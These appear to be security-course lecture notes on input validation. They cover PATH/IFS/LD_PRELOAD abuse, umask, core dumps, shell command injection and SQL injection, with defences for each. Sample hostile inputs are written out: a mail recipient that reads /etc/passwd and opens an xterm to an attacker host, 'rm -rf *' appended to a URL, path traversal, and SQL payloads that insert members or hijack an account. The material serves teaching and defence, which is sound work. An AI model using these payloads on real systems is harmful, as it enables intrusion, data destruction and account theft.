Input Validation

(1) Environment Variables ("Hidden" Inputs)

Environment variables are "hidden" inputs. They exist and affect the behaviors of programs. Ignoring their existence during programming can lead to security breaches.

- **PATH**
  - When running a command in a shell, the shell searches for the command using the **PATH** environment variable.
  - What would happen in the following?

```
system("mail");
```

  - The attacker can change PATH to the following, and cause "mail" in the current directory to be executed.

```
PATH=".:$PATH"; export PATH
```

- **IFS**
  - The IFS variable determines the characters which are to be interpreted as whitespace. It stands for Internal Field Separators. Suppose we set this to include the forward slash character:

```
IFS="/ \t\n"; export IFS
PATH=".:$PATH"; export PATH
```

  - Now call any program which uses an absolute PATH from a Bourne shell (e.g. `system()`, or `popen()` system calls). This is now interpreted like the following that would attempt to execute a command called bin in the current directory of the user.

```
system("/bin/mail root");   --->  system(" bin mail root");
```

  - The IFS bug has pretty much been disallowed in shells now.

- **LD_LIBRARY_PATH**
  - Dynamic library directories: When searching for dynamic libaries, UNIX systems tend to look for libraries to load in a seach path provided by this environment variable.
  - Virtually every Unix program depends on `libc.so` and virtually every windows program relies on DLL's. If these libraries become exchanged with Trojan horses many things can go wrong.

- Attackers can modify this path and cause the program load the attackers' libraries.

```
setenv LD_LIBRARY_PATH /tmp:$LD_LIBRARY_PATH
```

or the user's current directory

```
setenv  LD_LIBRARY_PATH .:$LD_LIBRARY_PATH
```

- Most modern C runtime libraries have fixed this problem by ignoring the LD_LIBRARY_PATH variable when the EUID is not equal to the UID or the EGID is not equal to the GID.
- Secure applications can be linked *statically* with a trusted library to avoid this
- In Windows machines, when loading DLLs, generally, the current directory is searched for DLLs before the system directories. If you click on a Microsoft Word document to start Office, the directory containing that document is searched first for DLLs.

❖ **LD_PRELOAD**

- Many UNIX systems allow you to "pre-load" shared libraries by setting an environment variable LD_PRELOAD. This allows you to do interesting things like replace standard C library functions or even the C interfaces to system calls with your own functions.
- Modern systems ignore LD_PRELOAD if the program is a setuid program.

```
% cc -o malloc_interposer.so -G -Kpic malloc_interposer.c
% setenv LD_PRELOAD $cwd/malloc_interposer.so
```

❖ How to get rid of environment variables?

```
extern char   **environ;

int main(int argc, char **argv)
{
        environ = 0;
}
```

- The above strategy doesn't necessarily work for every program. For example, loading shared libraries at runtime needs LD_LIBRARY_PATH.

A Case Study

❖ `vi` vulnerability
- Behavior:

(1) `vi file`
(2) hang up without saving it
(3) `vi` invokes `expreserve`, which saves buffer in protected area
(4) `expreserve` invokes `mail` to send a mail to user

- Facts:
  - `expreserve` is a setuid program, and `mail` is called with root privilege.
  - `expreserve` uses `system("mail user")` or `system("/bin/mail user");`
  - expreserve does not take care of the environment variables.
- Attack:
  - Change PATH, IFS
    IFS="/binal\t\n" causes "m" be invoked, instead of "/bin/mail"

---

(2) Process Attributes

- **`umask`** value
  - It decides the default permission of newly created files.
  - A child process inherits this value from its parent.
  - Consider this situation:
    A set-UID program stores temporary data in a /tmp/tempfile. The integrity of this file is important. If the programmer assumes that umask value is 077, the assumption might fail. The attacker can run this program from its shell, and the set-UID will inherit the umask value from the shell.

    How to secure it: either explicitly set the umask value (using `umask(077)`) or explicitly set the permission of the newly created file (using `chmod("newfile",0755));`

- Core Dump
  - If your program holds sensitive data like unencrypted passwords, then you should forbid the process from being core dumped.

  - How to disable core dumps?

```
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>

Int main(int argc, char **argv)
{
        struct rlimit   rlim;

        getrlimit(RLIMIT_CORE, &rlim);
        rlim.rlim_max = rlim.rlim_cur = 0;

        if (setrlimit(RLIMIT_CORE, &rlim)) {
                exit(-1);
        }
        ...
                return 0;
}
```

- Solaris by default (at least in Solaris 8) does not allow setuid processes to core dump for obvious security reasons.

---

(3) Invoking Other Programs

- Invoking Other Programs Safely.
  - What are the potential problems if a CGI script does

```
// $Recipient contains email address provided by the user
//      using web forms.

system("/bin/mail", $Recipient);
```

  - `$Recipient` might contain special characters for the shell: (e.g. |, &, <, >)

```
"attacker@hotmail.com < /etc/passwd;
export DISPLAY=proxy.attacker.org:0; /usr/X11R6/bin/xterm&;"
```

  - What are the potential problems if a CGI script does

```
system("cat", "/var/stats/$username");
```

  - The attacker can submit a username of "`../../etc/passwd`".
  - What are the potential problems if a CGI program does:

```
sprintf(buf,"telnet %s",url);
system(buf);
```

  - This did not respond well to URLs of the form:

```
host.example.com; rm -rf *
```

- **`exec`** functions, **`system`**`()` and **`popen`**()
  - The exec family of functions runs a child process by swapping the current process image for a new one. There are many versions of the exec function that work in different ways. They can be classified into groups which
    - Use/do not use a shell to start child programs.
    - Handle the processing of command line arguments via a shell (shell can introduce more functionalities than what we expect. Note that shell is a powerful program).

- Starting sub-processes involves issues of dependency and inheritance of attributes that we have seen to be problematical. The functions `execlp` and `execvp` use a shell to start programs. They make the execution of the program depend on the shell setup of the current user. e.g. on the value of the PATH and on other environment variables. `execv()` is safer since it does not introduce any such dependency into the code.

- The `system(string)` call passes a string to a shell for execution as a sub-process (i.e. as a separate forked process). It is a convenient front-end to the exec-functions.

- The standard implementation of `popen()` is a similar story. This function opens a pipe to a new process in order to execute a command and read back any output as a file stream. This function also starts a shell in order to interpret command strings.

❖ How to invoke a program safely?
- Avoid anything that invokes a shell. Instead of `system()`, stick with `execve()`: `execve()` does not invoke shell, `system()` does.
- Avoid `execlp(file, ...)` and `execvp(file,...)`, they exhibit shell-like semantics. They use the contents of that file as standard input to the shell if the file is not valid executable object file.
- Be wary of functions that may be implemented using a shell.
  - Perl's `open()` function can run commands, and usually does so through a shell.

---

(4) SQL Injection

The examples are from Steve Friedl's Unixwiz.net Tech Tips: SQL Injection Attacks by Example

❖ SQL injection is a technique for exploiting web applications that use client-supplied data in SQL queries, but without first stripping potentially harmful characters. As results, the web applications might run SQL code that was not intended.

❖ Some applications get users' inputs from a web form, and then construct a SQL query directly using the users' input. For example, the following SQL query is constructed using the value of **`$EMAIL`** submitted on the form by users:

```
SELECT email, passwd, login_id, full_name
      FROM table
      WHERE email = '$EMAIL';
```

❖ The above application is commonly used when members of online account forget their password. They just need to type their email addresses; if the email address is in the database (the user is a member), the password of that email will be sent to that email address. **The goal of SQL inject attack in this example is to be able to log into the online account without being a member.**

❖ Guessing field name: the first steps are to guess some fields names of the database.
- The following guess **`email`** as the name of a field.

- If we get a server error, it means our SQL is malformed and a syntax error was thrown: it's most likely due to a bad field name. If we get any kind of valid response, we guessed the name correctly. This is the case whether we get the "email unknown" or "password was sent" response.

```
SELECT fieldlist
  FROM table
 WHERE field = 'x' AND email IS NULL; --';
```

- Guessing the table name
  - Similarly, if messages says "email unknown" or "password was sent", we know that our guess is correct.

```
SELECT email, passwd, login_id, full_name
  FROM table
 WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';
```

  - However, the above only confirms that **tabname** is valid name, not necessary the one that we are using. The following will help.

```
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x' AND members.email IS NULL; --';
```

- Guessing a member's email address: **$EMAIL = x' OR full_name LIKE '%Bob%**
  - If the SQL is successful, usually you will see a message like this: "We sent your password to <…>", where <…> is the email address whose full_name matches with `%Bob%` (`%` is a wildcard)

```
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x' OR full_name LIKE '%Bob%';
```

- Brute-force password guessing (after we have learned a valid email address)

```
ELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'bob@example.com' AND passwd = 'hello123';
```

- If the database isn't readonly, we can try the following to add a new member:
  - The "- -" at the end marks the start of an SQL comment. This is an effective way to consume the final quote provided by application and not worry about matching them.
  - There might be some challenges doing so:
    - The web form might not give you enough room to type the entire string.
    - The web application user might not have **INSERT** permission on the **members** table.
    - The application might not behave well because we haven't provided values for other fields.
    - A valid "member" might require not only a record in the **members** table, but associated information in other tables (e.g. **accessrights**), so adding to one table alone might not be sufficient.

```
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x';
  INSERT INTO members ('email','passwd','login_id','full_name')
  VALUES ('xyz@hacker.net','hello','xyz','xyz Hacker');--';
```

- Modify an existing member's email address
  - If this is successful, the attacker can now go to the regular "I lost my password" link, type the updated email address, and receive Bob's password in the email.

```
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x';
      UPDATE members
      SET email = 'xyz@hacker.net'
      WHERE email = 'bob@example.com';
```

- How to prevent SQL injection attacks?
  - Sanitize the input
  - Configure error reporting: the above attacks take advantage of the error messages returned by the sever. It can make attacker's life more difficult by not telling the users the actual error message in the SQL query. For example, you can just say "something is wrong".
  - Use bound parameters, so user's input is simply treated as data; quotes, semicolons, backslashes, and SQL comment notation will have no impact, because they are treated as just data, and will not be parsed by SQL. See the following Java code:

```
Insecure version
Statement s = connection.createStatement();
ResultSet rs = s.executeQuery("SELECT email FROM member WHERE
                name = " + formField);
```

```
Secure version
PreparedStatement ps = connection.prepareStatement(
    "SELECT email FROM member WHERE name = ?");
ps.setString(1, formField);
ResultSet rs = ps.executeQuery();
```